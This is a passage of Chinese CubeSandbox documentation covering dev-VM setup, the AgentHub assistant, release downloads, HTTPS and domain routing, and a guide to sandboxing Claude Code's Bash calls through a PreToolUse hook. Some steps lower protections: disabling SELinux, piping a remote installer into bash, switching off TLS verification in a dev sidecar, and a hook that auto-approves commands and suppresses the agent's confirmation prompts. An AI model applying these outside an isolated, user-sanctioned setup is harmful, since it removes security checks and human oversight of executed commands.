::: details `login.sh` | 变量 | 默认值 | 说明 | |------|--------|------| | `LOGIN_AS_ROOT` | `1` | 设为 `0` 时留在普通用户，不切 root。 | ::: 常用组合： ```bash # 给虚机更多资源（默认 4 CPU / 8192 MB） VM_MEMORY_MB=16384 VM_CPUS=8 ./run_vm.sh # 额外把 Cube API 与 CubeProxy HTTPS 转发到宿主机 EXTRA_FORWARDS="13000:3000 11443:443" ./run_vm.sh # 不强制要求 nested KVM（只想把系统起来看看，不跑沙箱） REQUIRE_NESTED_KVM=0 ./run_vm.sh # 登录后留在普通用户，不切 root LOGIN_AS_ROOT=0 ./login.sh # 创建更大的磁盘镜像（默认 100G） TARGET_SIZE=200G ./create_vm.sh ``` 所有脚本都支持用 `VM_USER` / `VM_PASSWORD` / `SSH_HOST` / `SSH_PORT` 覆盖 SSH 连接参数。 ### 附录 D：dev-env 里的 cubecow 存储 Cubelet 默认使用 reflink-only 的 `cubecow` 存储后端。dev 虚机只需要 `data_path` 所在文件系统支持 reflink（例如 `xfs -m reflink=1` 或 Btrfs）， 不再需要额外裸盘或 LVM / dm-thin 工具链。 `[plugins."io.cubelet.internal.v1.storage".cow.*]` 的默认配置会把 reflink 卷落在 `<data_path>/../cubecow-reflink` 目录下。 ### 附录 E：重置 / 清理 ```bash # 1. 停掉正在运行的虚机（终端 A 里 Ctrl+C 之后，或在虚机内 poweroff） # 2. 删掉虚机磁盘与状态 rm -rf dev-env/.workdir # 3. 重新创建一台干净虚机 ./create_vm.sh ``` 开发环境本身就是一次性的：虚机里装乱了，重建即可。 ### 附录 F：常见问题 | 现象 | 可能原因 | 解决方法 | |------|---------|---------| | 虚机内没有 `/dev/kvm` | 宿主机未开启 nested KVM | 在宿主机启用 nested virtualization 后重启虚机 | | `./login.sh` 连不上 | 虚机还没启动，或宿主机 `10022` 端口被占 | 确认 `./run_vm.sh` 还在运行，或通过 `SSH_PORT` 换端口 | | `cube-sandbox-mysql` 反复重启且报 `Permission denied` | 虚机里 SELinux 还是 enforcing | 在虚机里执行 `sudo setenforce 0 && sudo sed -i 's/^SELINUX=enforcing/SELINUX=permissive/' /etc/selinux/config && sudo docker restart cube-sandbox-mysql` | | `df -h /` 仍然很小 | 虚机内扩容没走完 | 看 `.workdir/qemu-serial.log`，再 `scp -P 10022 internal/grow_rootfs.sh opencloudos@127.0.0.1:/tmp/`，在虚机里 `sudo` 手动跑一次 | | `EXTRA_FORWARDS` 的端口被占 | 宿主机上已有服务占用该端口 | 换一个宿主机端口，例如 `EXTRA_FORWARDS="23000:3000"` | | 写了非法的 `EXTRA_FORWARDS` 直接启动失败 | 条目不是 `宿主机端口:虚机端口` | 用空格分隔的数字对，例如 `EXTRA_FORWARDS="13000:3000"` | ### 附录 G：目录结构 ```text dev-env/ ├── create_vm.sh # 一次性：下载 + 扩容 + 首次启动时初始化虚机 ├── run_vm.sh # 日常：启动虚机 ├── login.sh # 日常：SSH 登录并切到 root ├── internal/ # create_vm.sh 传进虚机执行的辅助脚本 │ ├── grow_rootfs.sh │ └── setup_selinux.sh ├── README.md └── README_zh.md ``` 更简短的说明见仓库里的 [`dev-env/README_zh.md`](https://github.com/tencentcloud/CubeSandbox/tree/master/dev-env)。 --- --- url: https://cubesandbox.com/zh/guide/digital-assistant.md --- # 数字助手 数字助手（AgentHub）基于 Cube Sandbox 创建和管理 OpenClaw 助手，支持助手实例、存档、回档、创建分身、发布助手模板和操作流水。 ::: warning 预览版 当前数字助手能力是 Preview 版本，主要用于演示和早期试用。API、数据库 schema、部署参数和交互细节仍可能在后续版本中调整，生产环境使用前建议先在测试环境验证。 ::: ## 数字助手模板 AgentHub 会基于 CubeSandbox 模板创建数字助手。部署前需要先制作数字助手模板（见下方命令），然后将自动生成的 `tpl-` 前缀模板 ID 写入 `.env`： ```bash AGENTHUB_DS_OPENCLAW_TEMPLATE=<your-digital-assistant-template-id> ``` 自定义模板必须使用和 `wecom-ds-openclaw` **相同的数字助手 / OpenClaw 镜像**构建。该镜像需要包含 OpenClaw 运行时、`supervisorctl` 服务配置，以及 AgentHub 使用的端口： * OpenClaw Gateway UI：`18789` * 助手环境 UI：`8080` 默认模板基于 all-in-one OpenClaw 镜像制作，镜像体积较大。首次制作或重建模板时，需要预留充足的下载、解压、快照和分发空间；在常见演示环境中，模板制作时间约为 15 分钟，具体耗时取决于镜像缓存、磁盘性能和节点数量。部署前建议确认宿主机和 Cubelet 数据盘有足够可用空间，避免模板构建中途因为磁盘不足失败。 磁盘空间可以按以下方式粗略估算： * 单模板约 `3 GB`（rootfs `1G` + memory `2G`）。 * 单 snapshot 约 `2~3 GB`（memory 必定 `2G` + rootfs 增量）。 * 单运行实例主要是 reflink 增量，通常约几十 MB。 * Docker 基础设施约 `3.2 GB`，属于固定开销。 因此，如果只保留 `1` 个模板、`2` 个 snapshot 和几个运行实例，建议至少预留约 `12~15 GB` 可用磁盘空间。 可以使用 `cubemastercli tpl create-from-image` 基于相同镜像构建或重建模板： ```bash OPENCLAW_IMAGE=cube-sandbox-image.tencentcloudcr.com/demo/aio-sandbox-envd-openclaw:latest cubemastercli tpl create-from-image \ --image "${OPENCLAW_IMAGE}" \ --writable-layer-size 20Gi \ --expose-port 18789 \ --expose-port 8080 \ --probe 18789 \ --probe-path / ``` 如果明确需要 DeepSeek 预置版本，可以在确认 tag digest 符合预期后使用 `cube-sandbox-image.tencentcloudcr.com/demo/aio-sandbox-envd-openclaw-deepseek:latest`。 该命令会输出构建任务和 `template_id`；需要等待模板构建完成后再使用 AgentHub。如果集群需要分发到指定节点，可以重复传入 `--node <node-id-or-ip>`，或在初始构建后执行已有的模板 redo 流程。 从模板创建 sandbox 后，可以在 sandbox 内验证镜像布局： ```bash supervisorctl status openclaw curl -fsS http://127.0.0.1:18789/ >/dev/null ``` 如果模板不存在、使用了不同镜像，或没有包含 OpenClaw 服务布局，创建数字助手时可能在 setup、restart、读取 token 或生成 gateway URL 阶段失败。 ## 环境变量 ### AgentHub 数据库 CubeOps 使用 MySQL 保存数字助手的元数据，包括助手实例、存档、模板和操作流水。配置方式如下： ```bash DATABASE_URL=mysql://cube:cube_pass@127.0.0.1:3306/cube_mvp ``` 在 one-click 部署中，如果没有显式设置 `DATABASE_URL`，启动脚本会直接导出 `CUBE_SANDBOX_MYSQL_*` 字段，由 CubeOps 直接映射为数据库配置。 ### LLM API Key 创建数字助手前，请在 WebUI 的 **AgentHub 设置** 中填写 LLM API Key（以及 provider、Base URL、模型）。 未配置时无法创建或重新配置助手，页面会提示先完成设置。 配置完成后，CubeAPI 会自动把 key 注入 sandbox 内的 OpenClaw，并写入相关配置文件（如 `auth-profiles.json`），用于连接 LLM 服务。 ### 凭证交付方式与模型命名空间 凭证交付支持两种方式： * **凭证托管（推荐）**：托管的只是 **API Key**。出站请求由 CubeEgress 仅对配置的 LLM Base URL 注入 `Authorization` 头，真实 Key 不进入沙箱，OpenClaw 配置里只保存一个占位 Key。 * **环境变量注入（兼容旧版）**：把真实 API Key 直接写入 OpenClaw 环境与配置，仅建议在未启用 CubeEgress 的环境使用。 无论哪种方式，模型 ID 注入 OpenClaw 时都会归一化为 `{Provider}/{模型ID}` 的命名空间：`{Provider}` 取自 AgentHub 设置中的 Provider，斜杠后的部分作为真实模型名发往上游。使用**自定义上游**时，请确保 Provider 与模型 ID 与上游一致，否则 OpenClaw 可能报 `Unknown model`。例如 Provider 为 `openai-compatible`、模型为 `deepseek-v4-flash` 时，OpenClaw 内部解析为 `openai-compatible/deepseek-v4-flash`，上游收到的模型名为 `deepseek-v4-flash`。 ## 模板快路径 如果从已发布的助手模板创建新助手，并且不需要重新绑定企业微信，CubeAPI 会使用模板快路径：新 sandbox 直接沿用模板快照里已有的 OpenClaw 配置，不会重新注入 LLM API Key。 ## 安全建议 * 请妥善保管 LLM API Key，不要提交到 Git 仓库。 * 请妥善保护数据库备份与访问权限（Key 保存在数据库中）。 --- --- url: https://cubesandbox.com/zh/guide/downloads.md --- # 下载与 Release 说明 CubeSandbox 的所有发布物都在同一个 [Releases 页面](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases)上。先按你的场景对号入座，再跳到对应小节照做： | 你的场景 | 需要手动下载什么 | 去哪一节 | | --- | --- | --- | | 标准部署（[快速开始](./quickstart.md)、[裸金属](./bare-metal-deploy.md)） | 什么都不用 | [标准部署](#标准部署-无需手动下载) | | PVM 部署（云服务器无 `/dev/kvm`） | 宿主机内核包（rpm/deb） | [PVM 部署](#pvm-部署-下载宿主机内核包) | | 自建发布包 / 替换内核或镜像 | guest 内核、guest 镜像 | [自建部署](#自建部署-下载-guest-内核与镜像) | ::: tip 只是照着快速开始部署？ 那你不需要本页面 —— [在线安装脚本](./quickstart.md)会自动下载一键部署包并解析全部产物。 ::: ## 标准部署：无需手动下载 一行命令在线安装（详见[快速开始](./quickstart.md)）： ```bash curl -sL https://cnb.cool/CubeSandbox/CubeSandbox/-/git/raw/master/deploy/one-click/online-install.sh | MIRROR=cn bash ``` 需要手动下载整包（`cube-sandbox-one-click-<版本>-<架构>.tar.gz`，架构为 `amd64` / `arm64`）： ```bash wget https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download/v0.6.0/cube-sandbox-one-click-v0.6.0-amd64.tar.gz ``` ## PVM 部署：下载宿主机内核包 PVM 部署中，唯一需要手动下载的就是宿主机内核包 —— 装上它、重启进入 PVM 内核即可获得 KVM 能力。PVM 的 guest 内核（`vmlinux-pvm`）已内置于一键部署包，安装时设 `CUBE_PVM_ENABLE=1` 即自动激活。安装、GRUB 配置与重启的完整步骤见 [PVM 部署 — 第一步](./pvm-deploy.md#第一步安装-pvm-宿主机内核)，本节只讲怎么拿到包。 内核包发布在专属的 `kernel-release-*` Release 上，直接到发布页下载： 1. 打开 [CubeSandbox Releases 页面](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases)，在过滤框输入 `kernel-release`，打开最新的一个 2. 按你的发行版下载**内核主包**： * RPM 系（OpenCloudOS、RHEL、CentOS、TencentOS、Fedora）：`kernel-*opencloudos9.cubesandbox.pvm.host*.x86_64.rpm` * DEB 系（Ubuntu、Debian）：`linux-image-*opencloudos9.cubesandbox.pvm.host*_amd64.deb` 资产列表中的 `kernel-headers-*`、`-dbg` 等为可选包，无需下载。 已安装 GitHub CLI 的用户也可免找文件名、按通配直接下载，用法见[附录](#附录-url-规律-最新-tag-与版本-pin)。 > 📌 **OpenCloudOS 9 用户专属快捷路径** > 内核包已上架 OpenCloudOS 官方 yum 仓库，无需手动下载 rpm，`dnf install` 一行命令可实现直装，整体部署只需 5 条命令。 > 👉 [在 OpenCloudOS 9 上一键部署 CubeSandbox 实测](https://mp.weixin.qq.com/s/oGAaUpze_uB_uzyvuYJSIg) ## 自建部署：下载 guest 内核与镜像 只有在[自行构建发布包](./self-build-deploy.md)或替换组件时才需要下载这些（一键部署包已全部自带）： ```bash # guest 内核（发布在 kernel-release-* 下，文件名固定） wget "https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download/kernel-release-260812-1/vmlinux-amd64" # 裸金属/KVM，aarch64 用 vmlinux-arm64 wget "https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download/kernel-release-260812-1/vmlinux-pvm-amd64" # PVM guest 内核（仅 x86_64） # guest 镜像（发布在 guest-image-* 下，内含 cube-guest-image-cpu.img） wget https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download/guest-image-260820-1/cube-guest-image-amd64.tar.gz tar -xzf cube-guest-image-amd64.tar.gz ``` URL 中的 tag 会随发布递增（文件名固定，换 tag 即可）；最新 tag 可在 [Releases 页面](https://cnb.cool/CubeSandbox/CubeSandbox/-/releases) 过滤 `kernel-release` / `guest-image` 查看。 自建时把 `vmlinux` 放入 `deploy/one-click/assets/kernel-artifacts/` 即可，详见[本地构建部署 — 1.1 准备内核文件](./self-build-deploy.md#_1-1-准备内核文件)。 ## 附录：URL 规律、最新 tag 与版本 pin **URL 规律** —— 所有资产两个渠道完全一致，把域名换掉即可切换： | 渠道 | URL 规律 | | --- | --- | | CNB 镜像（国内推荐） | `https://cnb.cool/CubeSandbox/CubeSandbox/-/releases/download/<tag>/<资产名>` | | GitHub（权威源，境外推荐） | `https://github.com/TencentCloud/CubeSandbox/releases/download/<tag>/<资产名>` | **用 gh 免找文件名** —— 按通配直接下载，或列出所有 kernel-release tag： ```bash # 列出最新的 kernel-release tag gh release list --repo TencentCloud/CubeSandbox --limit 30 | grep kernel-release # 按通配下载（<tag> 替换为上面查到的最新 tag，无需知道精确文件名） gh release download <tag> --repo TencentCloud/CubeSandbox \ --pattern 'kernel-6*.x86_64.rpm' # 或：--pattern 'linux-image-6*_amd64.deb' ``` **版本 pin** —— 每个 `v*` 产品版本在 [`deploy/release-assets.yaml`](https://github.com/TencentCloud/CubeSandbox/blob/master/deploy/release-assets.yaml) 中记录打包所用的 kernel / guest-image tag（也写在包内 `release-manifest.json`），据此可查"我手里的包用的是哪个内核"。专属 tag 的发布节奏独立于产品版本，pin 可能落后于最新 tag —— **PVM 宿主机内核建议始终用最新 `kernel-release-*`**（含内核安全修复），无需与产品版本对齐。 （v0.6.0 及之前的产品 Release 上还直接附有内核/镜像资产，属历史布局，之后不再如此。） --- --- url: https://cubesandbox.com/zh/guide/https-and-domain.md --- # HTTPS 证书与域名解析 本文说明 Cube Sandbox 中沙箱访问的域名机制，以及如何解决 **HTTPS 证书**和**域名解析**两类常见问题。 > **说明：** TLS 配置仅影响客户端访问 CubeProxy 的方式。`E2B_API_URL` 始终指向 **Cube API Server**（默认端口 `3000`），与 CubeProxy 是独立的组件。 *** ## 沙箱域名机制 E2B 客户端访问沙箱时，域名是**动态生成**的，格式如下： ``` <sandbox-service-port>-<sandboxId>.<domain> ``` 例如： ``` 49983-1aa1fae8fb364edaa8203a7481995b4d.cube.app ``` 其中： * `sandbox-service-port`：沙箱内业务服务监听的端口（如 `49999`） * `sandboxId`：沙箱唯一 ID * `domain`：基础域名，默认为 `cube.app`，可通过 `--sandbox-domain` 自定义 由于域名中的 `sandboxId` 部分随每个沙箱动态变化，**E2B 客户端所在的网络环境必须具备泛域名（wildcard）解析能力**，即将 `*.<domain>` 解析到 CubeProxy 所在机器的 IP。 ### 一键安装内置 CoreDNS（体验用） Cube 一键安装脚本会在安装节点上启动一个 **CoreDNS** 服务，自动处理 `*.cube.app` 的泛解析，使你能在该机器上直接体验完整流程，无需额外配置 DNS。 > **注意：** 内置 CoreDNS 仅供本机/快速体验使用，不适合生产环境或多机共享部署。 ### 生产环境：自定义域名 + 自有 DNS 生产环境中，建议使用自己的域名并配置泛解析 DNS 记录： ``` *.your.domain.com → <CubeProxy 所在节点的 IP> ``` 然后在启动 Cube API Server 时通过启动参数或环境变量指定该域名： ```bash # 启动参数 ./cube-api --sandbox-domain your.domain.com # 或环境变量 export CUBE_API_SANDBOX_DOMAIN=your.domain.com ./cube-api ``` 这样 API 响应中的 `domain` 字段会返回 `your.domain.com`，E2B SDK 才能正确构建沙箱访问地址。 *** ## 路径式快速访问（免 DNS / 免证书） 除 Host 模式外，CubeProxy 还支持通过 URL **路径**路由到沙箱，适用于本地 Demo、内网临时分享，以及不便配置泛解析 DNS 和 TLS 证书的场景。 ``` http://<cube-proxy-host>:<http-port>/sandbox/<sandbox-id>/<container-port>/<剩余路径>?<query> ``` 例如，沙箱 `abc123` 暴露了 `49999` 端口，CubeProxy 部署在 `10.0.0.5:80`： ``` http://10.0.0.5/sandbox/abc123/49999/ http://10.0.0.5/sandbox/abc123/49999/health http://10.0.0.5/sandbox/abc123/49999/api/v1/items?limit=10 ``` CubeProxy 会在转发时剥离 `/sandbox/<id>/<port>` 前缀，沙箱内的应用看到的 URI 与从根路径直接访问相同。同一 location 内复用了原有的 `Upgrade` / `Connection` 头处理，因此 WebSocket 升级也照常工作。 为方便应用与前缀协作，CubeProxy 额外会： * 在转发到上游的请求里附加 `X-Forwarded-Prefix: /sandbox/<id>/<port>`。 * 改写响应中以根开头的 `Location` 头，把它重新放回 `/sandbox/<id>/<port>/...` 前缀下（比如上游返回 `Location: /login` 时仍能正确跳转）。 * 把上游 Set-Cookie 中的 `Path=/` 限定到 `Path=/sandbox/<id>/<port>/`，避免与同一 CubeProxy 上其他沙箱的 cookie 相互影响。 两种模式如何选择： * **Host 模式**（`<port>-<id>.<domain>`）：更适合 SPA 以及任何用根绝对路径加载静态资源（如 `/static/app.js`）的前端，CubeProxy 不会改写 HTML body，使用 Host 模式可以避免这类引用被前缀拦腰打断。 * **路径模式**（`/sandbox/<id>/<port>/...`）：更适合 HTTP API、简单页面、快速预览和一次性分享，省去 DNS 和证书配置的成本。 两种模式在每个 CubeProxy 实例上同时启用，共享同一份 Redis 路由元数据，无需额外配置即可使用路径形式。 ## 自定义沙箱服务收到的 Host 部分 Web 框架会校验 HTTP `Host`，而 Cube 的 public URL Host 默认是 `<port>-<sandbox-id>.<domain>`。创建沙箱时可通过 E2B 兼容的 `network.maskRequestHost` 设置 CubeProxy 转发给用户服务的 Host： ```python from cubesandbox import Sandbox sandbox = Sandbox.create( network={ "mask_request_host": "localhost:${PORT}", }, ) ``` `${PORT}` 会在每次请求时替换为 public URL 或 Path 模式中的沙箱服务端口： ```text 访问 3000 端口 -> Host: localhost:3000 访问 8080 端口 -> Host: localhost:8080 ``` 外部 URL、DNS 与 TLS SNI 均不改变。掩码生效时，CubeProxy 还会把原始请求 Host 写入 `X-Forwarded-Host`。该配置同时适用于 Host 模式、Path 模式以及 用户服务的 WebSocket 握手。 `maskRequestHost` 是按 sandbox 配置的 create-only 选项，运行中不可更新。 为避免影响 commands/files/PTY 等内部数据面协议，envd 端口 `49983` 不应用 该掩码。直接访问 SandboxIP 或节点 HostPort 会绕过 CubeProxy，因此也不会 发生 Host 改写。 *** ## gRPC 接入（明文 HTTP/2） CubeProxy 还提供独立的沙箱 gRPC 接入监听端口。一键部署默认使用 `9090`，可通过 `.env` 中的 `CUBE_PROXY_GRPC_PORT` 调整。 客户端以明文 HTTP/2 连接 CubeProxy IP，并通过 gRPC `:authority` 指定目标沙箱，格式与 Host 模式一致： ``` <container-port>-<sandbox-id> ``` 例如，经部署在 `10.0.0.5` 的 CubeProxy 访问沙箱 `abc123` 的 `49983` 端口： ``` dial: 10.0.0.5:9090 :authority: 49983-abc123 ``` 该模式适用于无法使用泛域名 DNS 或在 CubeProxy 侧终止 TLS 的 gRPC 客户端，路由元数据与 Host 模式共用，无需额外配置。 若沙箱创建时设置了 `network.allow_public_traffic = false`，本监听端口同样会校验 `e2b-traffic-access-token` / `cube-traffic-access-token`；gRPC 客户端需在每次请求的 metadata（或等效 header）中携带 token。详见[限制公网访问](./restrict-public-access.md)。 *** ## HTTPS 证书配置 CubeProxy 开箱提供 **HTTPS（443 端口）和 HTTP（80 端口）** 两种访问方式。E2B SDK 默认使用 HTTPS。Cube 一键安装已预装 `cube.app` 测试证书，可直接体验 HTTPS。 如需替换为自定义域名或生产证书，有以下几种方式： ### 方式 A — mkcert（本地开发快速验证） `mkcert` 可在几秒内为自定义域名生成本地可信证书： ```bash mkcert -install mkcert <your-host-ip-or-domain> ``` 设置 `SSL_CERT_FILE`，让 E2B SDK 信任生成的 CA： ```bash export SSL_CERT_FILE=/root/.local/share/mkcert/rootCA.pem ``` > mkcert 证书只在运行过 `mkcert -install` 的机器上受信任，不适合生产环境或多人共享部署。 ### 方式 B — 自有证书 / 域名（生产环境） 修改 CubeProxy 的 `nginx.conf`，使用正式证书和私钥： ```nginx server { listen 443 ssl; server_name your.domain.com; ssl_certificate /path/to/your/cert.pem; ssl_certificate_key /path/to/your/key.pem; } ``` 同时通过 `--sandbox-domain` 告知 Cube API Server 对外域名（见上文「生产环境：自定义域名」章节）。 ### 方式 C — 仅保留 HTTPS（关闭 HTTP） CubeProxy 默认同时监听 HTTP 和 HTTPS。如需完全关闭 HTTP 端口，删除 `nginx.conf` 中的 HTTP server block，并在 `docker-compose.yaml` 中去掉对应的端口映射即可。 > E2B SDK 仅使用 HTTPS，关闭 HTTP 不影响基于 SDK 的客户端。 *** ## 体验方案：e2b-dev-sidecar 如果你只是在本地开发环境中体验 Cube，不想配置泛解析 DNS，也不想处理自签证书信任问题，可以使用 **e2b-dev-sidecar** 方案。 该方案通过在本地启动一个轻量代理，拦截 E2B SDK 的数据面请求，在转发时自动改写 `Host` 头，从而： * **绕过泛解析 DNS**：本地无需配置 `*.cube.app` 解析 * **绕过 HTTPS 证书**：sidecar 默认不校验服务端证书（`CUBE_REMOTE_PROXY_VERIFY_SSL=false`） 详见：[e2b-dev-sidecar 示例](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/e2b-dev-sidecar) > **注意：** e2b-dev-sidecar 是面向开发体验的最小实现，不适合生产环境。 --- --- url: https://cubesandbox.com/zh/guide/integrations.md --- # 生态集成 ::: warning 必须同时提交中英文 本栏目所有投稿都必须同时包含 `docs/guide/integrations/` 下的英文文件和 `docs/zh/guide/integrations/` 下的中文文件。只更新单一语言的 PR 不会被合并。 ::: 这里收录 Cube Sandbox 面向 Agent 框架、开发工具与生态平台的集成指南。每个集成对象应单独占用一个文件，方便贡献者提交聚焦、低冲突的 PR。 ## 适合收录的内容 * LangChain、Dify、OpenClaw、Claude Code 等 Agent 框架集成 * SDK 接线方式与平台相关配置说明 * 带示例仓库的端到端集成方案 * 兼容性说明、限制条件与推荐配置 ## 如何贡献 1. 复制当前目录下的 `_template.md`，并改名为英文 kebab-case 文件名，例如 `langchain.md` 或 `claude-code.md`。 2. 同时创建这两个文件： * `docs/guide/integrations/<slug>.md` * `docs/zh/guide/integrations/<slug>.md` 3. 中英文文件名必须保持一致，便于双语站点保持 URL 对应关系。 4. 一个集成对象一篇文章，不要把多个 Agent 或框架合并到同一篇里。 5. 在中英文两个索引页的文章列表中各追加一行。 6. 发起 PR 时请附带示例代码、仓库链接或截图，帮助 reviewer 验证指南可用性。 ## 命名与 frontmatter 规范 * 文件名必须使用英文 kebab-case。 * 不允许使用中文文件名。 * 中英文目录必须使用相同 slug。 * 两个语言版本的 frontmatter key 应保持一致。 ```md --- title: LangChain 集成指南 author: your-github-id date: 2026-05-14 tags: - integration - langchain lang: zh-CN --- ``` ## 已发布文章 | 标题 | 作者 | 日期 | 标签 | | --- | --- | --- | --- | | [Pi Agent 集成指南](./pi-agent.md) | chaojixinren | 2026-07-01 | integration, pi-agent, coding-agent, agent | | [Claude Code 集成指南](./claude-code.md) | shsaihdsaiudh | 2026-07-06 | integration, claude-code, coding-agent | | [LangChain 集成指南](./langchain.md) | peerless-hero | 2026-07-07 | integration, langchain, agent | | [OpenAI Agents SDK 集成指南](./openai-agents-sdk.md) | ZedingZhang | 2026-08-19 | integration, openai-agents-sdk, agent | | [Ubuntu 桌面沙箱指南](./ubuntu-desktop.md) | jinlong | 2026-09-15 | integration, ubuntu-desktop, novnc, gui-automation | | [OpenCode 集成指南（插件钩子方案）](./opencode-plugin.md) | Tantanovo | 2026-07-31 | integration, opencode, coding-agent, plugin | --- --- url: https://cubesandbox.com/zh/guide/integrations/claude-code.md --- # Claude Code [Claude Code](https://docs.anthropic.com/en/docs/claude-code) 是 Anthropic 出品的、基于终端的 AI 编码 agent,它在终端里执行命令、编辑文件、运行代码。 本指南介绍如何让 Claude Code 继续跑在**你的宿主机**上,同时用一个 `PreToolUse` hook 把它执行的**每一条 Bash 命令**透明转发进隔离的 CubeSandbox MicroVM。模型完全感知不到沙箱层,也无需改动 prompt 或使用方式。 ## 为什么用 hook 基于 MCP 或 SDK 的沙箱依赖 agent *主动选择*沙箱工具;一条普通的 `Bash` 调用仍会落到宿主机上。`PreToolUse` hook 拦截工具调用本身,因此对 Bash 而言隔离是**透明且完整**的 —— 没有命令能绕过它。 ## 架构 ``` Claude Code(宿主机) ├── Read / Write / Edit ─────────────► 宿主机项目文件 │ └── Bash ──► PreToolUse hook ──► cubesandbox_exec ──► CubeAPI ──► MicroVM (cubesandbox_rewrite.py) (:3000) └─ 按会话复用 ``` 只有 `Bash` 工具被转发。`Read`、`Write`、`Edit` 仍在宿主机上操作文件,所以 Claude Code 在本地编辑你的项目,而它的 shell 命令跑在独立的内核 / 文件系统 / 网络里。 ## 集成对象与版本 | 组件 | 版本 | |---|---| | Claude Code | 任意支持 `PreToolUse` hook 的版本 | | cubesandbox Python SDK | 通过 `requirements.txt` 安装 | | Python | 运行 Claude Code 的宿主机上需 3.9+ | ## 前置条件 * 运行中的 [CubeSandbox 部署](/zh/guide/quickstart),CubeAPI 可达(如 `http://127.0.0.1:3000`) * 运行 Claude Code 的宿主机上有 Python 3.9+ * 一个用于创建沙箱的 CubeSandbox 模板(见下文[模板](#模板)) ## 模板 hook 在沙箱里执行任意 Bash 命令,因此模板只需是一个通用的代码沙箱 —— **沙箱内不需要安装 Claude Code 本身**。用现成的 `sandbox-code` 镜像即可: ```bash cubemastercli tpl create-from-image \ --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \ --writable-layer-size 2G \ --expose-port 49999 \ --expose-port 49983 \ --probe 49999 ``` 把生成的模板 ID(`cubemastercli tpl list` 中 `STATUS: READY`)填入下面的 `CUBE_TEMPLATE_ID`。 ## 安装 hook 在示例目录下: ```bash python3 -m pip install -r requirements.txt cp .env.example .env # 在 .env 里设置 CUBE_API_URL 和 CUBE_TEMPLATE_ID cd hooks ./install.sh ``` 安装后重启 Claude Code。安装脚本会把 `Bash` matcher 合并进 `~/.claude/settings.json`,**不**覆盖你其它设置,并且只把白名单内的 `CUBE_*` 值写入 hook 配置 —— 绝不复制 LLM provider API key。 之后照常使用 Claude Code:它发出的每条 Bash 命令都会在 MicroVM 内执行。 ## 工作原理 1. **`cubesandbox_rewrite.py`**(hook)接收 `PreToolUse` 载荷。对 `Bash` 调用,它把 `tool_input.command` 改写为对执行器的调用,原命令作为单个 `shlex` 引用参数传入,并通过 `updatedInput` 返回。原命令里的任何内容都无法在宿主机执行。非 `Bash` 工具原样放行。hook 无条件改写**每一条** Bash 命令;若把已包裹的执行器调用再次喂回 hook,嵌套调用只会在沙箱内失败(沙箱内不存在宿主 hook 路径),绝不会落到宿主机。 2. **`cubesandbox_exec.py`**(执行器)按 Claude Code `session_id` 复用一个沙箱(映射存于 `~/.cache/cubesandbox-hook/`,由每会话文件锁保护),重放持久化的工作目录与导出的环境变量,在 MicroVM 内运行命令,并在命令结束后返回 stdout/stderr 和退出码(缓冲返回,非流式)。 ## 宿主项目挂载 会话首次调用时,hook 可请求把 Claude Code 的项目目录按相同路径**只读**挂载进沙箱。把项目根路径加入 CubeMaster 的挂载白名单: ```yaml extra_conf: allowed_host_mount_prefixes: - "/data/shared/" - "/home/you/projects/" ``` `hostPath` 在被调度的 Cubelet 节点上解析,而非运行 Claude Code 的机器。只有当 Claude Code 与该 Cubelet 同机、或项目已以相同绝对路径存在于每个可调度 Cubelet 上时,这种共享视图才成立。hook 不会把本地项目上传或同步到远端部署;不要把一个仅客户端存在、在 Cubelet 上可能指向无关数据的路径加入白名单。 该 hook 只覆盖 `Bash` 工具。`Read`、`Write`、`Edit` 仍访问宿主机,且挂载是只读的,沙箱命令不能写项目文件或构建产物。若 CubeMaster 拒绝挂载,执行会回退到无挂载沙箱:Bash 仍隔离,但与宿主侧文件工具失去文件一致性。 ## 安全特性 * **fail-closed** —— 无法安全改写时以非零退出**阻断**命令,而不是放它到宿主机执行。 * **防注入** —— 原命令作为单个 `shlex` 引用参数传入,shell 元字符和换行无法越出到宿主机。 * **无条件改写** —— 每条 Bash 调用都会被改写;已包裹的执行器调用若再次经过 hook,只会在沙箱内失败(沙箱内不存在宿主 hook 路径),绝不会落到宿主机。 * **自动批准** —— hook 对改写后的 Bash 调用返回 `permissionDecision: "allow"`,Claude Code 的逐命令确认提示被抑制;请相应使用 `--permission-mode` / hooks 策略。 * **凭据不外泄** —— 安装脚本只把白名单 `CUBE_*` 值写入 hook 配置。 ## 重置与卸载 ```bash # 丢弃某会话绑定的沙箱(下次调用新建) python3 ~/.claude/hooks/cubesandbox_exec.py --reset --session <session-id> # 从 ~/.claude/settings.json 移除 hook cd hooks ./install.sh --uninstall ``` ## 关键代码片段 ### `~/.claude/settings.json` 中的 hook matcher 安装脚本会把类似下面的 `Bash` matcher 组合并进你的 settings(command 为你的绝对 home 路径): ```json { "hooks": { "PreToolUse": [ { "matcher": "Bash", "hooks": [ { "type": "command", "command": "/home/you/.claude/hooks/cubesandbox_rewrite.py || exit 2" } ] } ] } } ``` ### 手动测试 hook ```bash echo '{"tool_name":"Bash","cwd":"/tmp","session_id":"t","tool_input":{"command":"whoami"}}' \ | python3 ~/.claude/hooks/cubesandbox_rewrite.py ``` ## 注意事项 * **Read/Write/Edit 仍在宿主机。** 只有 `Bash` 工具调用被转发;Claude Code 的文件编辑仍落在宿主项目文件上。 * **同会话 Bash 串行。** 同一会话内并发的 Bash 调用会经每会话锁串行执行 —— 一次只跑一条,不并行。 * **输出为缓冲返回。** stdout/stderr 在命令结束后才返回;长时间运行的命令没有增量输出。 * **自动批准。** hook 对改写后的 Bash 调用返回 `permissionDecision: "allow"`,Claude Code 的逐命令确认提示被抑制 —— 请相应设置 `--permission-mode` / hooks 策略。 * **持久环境变量会被清理。** 导出的环境变量在命令间保留,但 `BASH_ENV`、`ENV`、`LD_PRELOAD`、`PROMPT_COMMAND` 会从持久化环境中被清除。 ## 排错 ### Bash 命令仍在宿主机执行 hook 未注册,或 Claude Code 未重启。确认 `~/.claude/settings.json` 有指向 `~/.claude/hooks/cubesandbox_rewrite.py` 的 `PreToolUse` `Bash` matcher,然后重启 Claude Code。可直接测试 hook: ```bash echo '{"tool_name":"Bash","cwd":"/tmp","session_id":"t","tool_input":{"command":"whoami"}}' \ | python3 